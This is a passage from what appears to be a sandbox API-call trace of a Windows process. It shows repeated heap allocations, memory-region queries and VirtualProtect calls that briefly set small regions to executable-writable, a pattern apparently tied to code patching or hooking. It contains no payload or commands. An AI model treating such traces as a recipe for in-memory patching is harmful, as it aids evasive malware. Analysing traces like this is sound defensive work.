ReturnLength=0x0) returned 0x0 [0042.922] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ef50 [0042.923] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ef50 | out: hHeap=0x9770000) returned 1 [0042.923] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ef50 [0042.923] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ef50 | out: hHeap=0x9770000) returned 1 [0042.923] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ef50 [0042.923] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ef50 | out: hHeap=0x9770000) returned 1 [0042.923] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ef50 [0042.923] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ef50 | out: hHeap=0x9770000) returned 1 [0042.923] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef34f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef34f0000, AllocationBase=0x7fef34f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.923] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.923] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ef50 [0042.923] VirtualProtect (in: lpAddress=0x7fef38c0918, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.924] VirtualProtect (in: lpAddress=0x7fef38c0918, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.925] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7efc0 [0042.926] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7efc0 | out: hHeap=0x9770000) returned 1 [0042.926] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7efc0 [0042.926] VirtualProtect (in: lpAddress=0x7fef38c1760, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.928] VirtualProtect (in: lpAddress=0x7fef38c1760, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.928] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.929] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.929] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef3490000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef3490000, AllocationBase=0x7fef3490000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.929] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.929] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.929] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.929] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.929] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.929] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.929] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.929] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.929] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.929] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef3260000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef3260000, AllocationBase=0x7fef3260000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.929] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.929] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.930] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.930] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.930] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.930] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.930] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.930] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.930] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.930] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef3190000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef3190000, AllocationBase=0x7fef3190000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.930] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.930] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.930] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.930] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.931] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.931] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.931] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.931] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.931] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.931] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef3110000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef3110000, AllocationBase=0x7fef3110000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.931] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.931] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.932] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.932] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.932] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.932] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.932] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.932] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.932] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.932] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef30b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef30b0000, AllocationBase=0x7fef30b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.932] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.932] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.933] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.933] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.933] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.933] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.933] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.933] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.934] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.934] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef3070000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef3070000, AllocationBase=0x7fef3070000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.934] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.934] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.934] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.934] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.934] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.934] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.934] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.934] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.934] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.934] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef5c20000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef5c20000, AllocationBase=0x7fef5c20000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.934] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.934] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.934] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.934] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.934] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.934] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.935] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.935] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.935] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.935] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcff0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcff0000, AllocationBase=0x7fefcff0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.935] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.935] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.935] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.935] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.935] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.935] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.935] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.935] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.935] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.935] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef2f50000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef2f50000, AllocationBase=0x7fef2f50000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.935] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.935] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.935] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.935] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.935] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.935] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.936] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.936] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.936] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f030 | out: hHeap=0x9770000) returned 1 [0042.936] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef2eb0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef2eb0000, AllocationBase=0x7fef2eb0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.936] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.936] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f030 [0042.936] VirtualProtect (in: lpAddress=0x7fef2eb1250, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x20) returned 1 [0043.023] VirtualProtect (in: lpAddress=0x7fef2eb1250, dwSize=0x8, flNewProtect=0x20, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0043.023] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.023] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.023] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.024] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.024] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.024] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.024] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x74d60000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x74d60000, AllocationBase=0x74d60000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0xe3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0xffffffff)) returned 0x30 [0043.024] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0043.024] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.024] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.024] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.024] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.024] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.024] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.024] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.024] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.024] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8790000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8790000, AllocationBase=0x7fef8790000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0043.024] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0043.024] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.024] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.024] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.024] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.024] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.024] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.024] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.025] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.025] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef29b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef29b0000, AllocationBase=0x7fef29b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0043.025] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0043.025] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.025] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.025] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.025] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.025] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.025] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.025] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.025] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.025] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef23f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef23f0000, AllocationBase=0x7fef23f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0043.025] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0043.025] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.026] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.026] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.026] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.026] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.026] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.026] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.026] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.026] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef2570000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef2570000, AllocationBase=0x7fef2570000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0043.026] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0043.026] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.026] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.026] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.026] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.026] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.026] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.026] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.026] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.027] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef2180000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef2180000, AllocationBase=0x7fef2180000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0043.027] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0043.027] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.027] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.027] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.027] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.027] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.027] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.027] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.027] HeapFree (in: 